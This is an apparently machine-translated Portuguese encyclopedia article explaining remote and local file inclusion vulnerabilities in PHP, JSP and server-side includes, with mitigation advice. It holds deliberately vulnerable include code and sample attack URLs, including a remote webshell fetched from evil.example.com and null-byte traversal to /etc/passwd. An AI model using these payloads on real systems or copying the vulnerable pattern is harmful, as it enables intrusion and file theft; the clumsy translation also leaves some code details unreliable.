Arquivo vulnerabilidade inclusão - File inclusion vulnerability

A vulnerabilidade inclusão de arquivos é um tipo de vulnerabilidade que é mais comumente encontrada para afetar aplicações web que dependem de um script tempo de execução . Esse problema é causado quando um aplicativo cria um caminho para o código executável usando uma variável controlada pelo atacante de uma forma que permite que o invasor para controlar qual arquivo é executado em tempo de execução. Um arquivo de inclusão vulnerabilidade é distinta de um genérico de passagem de diretório de ataque , em que passagem de diretório é uma maneira de ganhar não autorizada do sistema de arquivos de acesso, e uma vulnerabilidade inclusão de arquivos subverte como um código de aplicativo é carregado para execução. A exploração bem sucedida de um arquivo de inclusão vulnerabilidade irá resultar na execução de código remoto no servidor web que executa o aplicativo web afetada.

Tipos de inclusão

Inclusão remota de arquivos

Remoto inclusão de arquivos (RFI) ocorre quando os downloads e aplicativos web executa um arquivo remoto. Esses arquivos remotos são normalmente obtidos na forma de um HTTP ou FTP URI como um parâmetro fornecido pelo usuário para a aplicação web.

Inclusão de arquivos local

Local inclusão de arquivos (LFI) é semelhante a uma inclusão remota de arquivos vulnerabilidade exceto em vez de incluindo arquivos remotos, apenas os arquivos locais ou seja, os arquivos no servidor atual pode ser incluído para execução. Esta questão ainda pode levar à execução remota de código, incluindo um arquivo que contém dados controlado pelo invasor como logs de acesso do servidor web.

Linguagens de programação

PHP

No PHP a principal causa é devido ao uso de facilidade de entrada unvalidated com uma função de sistema de arquivos que inclui um arquivo para execução. Destacam-se a includee requiredeclarações. A maioria das vulnerabilidades pode ser atribuído a programadores iniciantes não estar familiarizado com todas as capacidades da linguagem de programação PHP. A linguagem PHP tem uma directiva que, se ativada, permite que as funções do sistema de arquivos para usar uma URL para recuperar dados de locais remotos. A directiva é allow_url_fopenem versões do PHP <= 4.3.4 e allow_url_includedesde PHP 5.2.0. Em 5.x PHP esta directiva está desativado por padrão, em versões anteriores foi ativado por padrão. Para explorar a vulnerabilidade que um atacante vai alterar uma variável que é passado para uma dessas funções para causá-lo para incluir código malicioso de um recurso remoto. Para atenuar esta vulnerabilidade toda a entrada de usuário precisa ser validado antes de serem utilizados.

Exemplo

Considere esta PHP script que inclui um arquivo especificado pelo pedido:

<?php
   if ( isset( $_GET['language'] ) ) {
      include( $_GET['language'] . '.php' );
   }
?>
<form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="melay">French</option>
      ...
   </select>
   <input type="submit">
</form>

O desenvolvedor pretendia ler na english.php ou french.php, que irá alterar o comportamento do aplicativo para exibir a linguagem de escolha do usuário. Mas é possível injetar outro caminho usando o languageparâmetro.

  • /vulnerable.php?language=http://evil.example.com/webshell.txt? - injeta um arquivo hospedado remotamente contendo um código malicioso (arquivo remoto incluem)
  • /vulnerable.php?language=C:\\ftp\\upload\\exploit - Executa o código de um arquivo já carregado chamado exploit.php (vulnerabilidade inclusão de arquivos local)
  • /vulnerable.php?language=C:\\notes.txt%00- Exemplo usando NULL caráter meta para remover o .phpsufixo, permitindo o acesso a diferentes .php arquivos. Este uso de injecção byte nulo foi corrigida em PHP 5.3, e já não podem ser usadas para ataques LFI / RFI.
  • /vulnerable.php?language=../../../../../etc/passwd%00- permite que um atacante para ler o conteúdo do arquivo passwd em um UNIX sistema de passagem de diretório .

A melhor solução neste caso é usar uma whitelist de parâmetros língua aceite. Se um método forte de validação de entrada, tais como uma lista branca não pode ser usado, em seguida, dependem de filtragem de entrada ou validação do caminho passou-in para se certificar de que não contém caracteres não desejadas e padrões de caracteres. No entanto, isso pode exigir antecipar todas as possíveis combinações de caracteres problemáticos. A solução mais segura é usar uma instrução switch / Gabinete predefinido para determinar qual arquivo para incluir, em vez de usar uma URL ou parâmetro de formulário para gerar dinamicamente o caminho.

JSP

JavaServer Pages (JSP) é uma linguagem de script que pode incluir arquivos para execução em tempo de execução:

<%
   String p = request.getParameter("p");
   @include file="<%="includes/" + p +".jsp"%>"
%>
  • /vulnerable.jsp?p=../../../../var/log/access.log%00 - Ao contrário de PHP, JSP é ainda afectado por injecção byte nulo, e este parâmetro irá executar comandos JSP encontrados em log de acesso do servidor web.

HTML server-side includes (SSI)

A inclusão do servidor são muito raros e não são normalmente habilitado em um servidor web padrão. Um do lado do servidor incluem pode ser usado para ganhar a execução remota de código em um servidor web vulnerável. O código a seguir é vulnerável a um arquivo remoto incluem vulnerabilidade:

<HTML>

<TITLE>Test File</TITLE>

<!--#include file=”USER_LANGUAGE”-->
</HTML>

O código acima não é uma vulnerabilidade de XSS, mas incluindo um novo arquivo a ser executado pelo servidor.

Veja também

Referências

links externos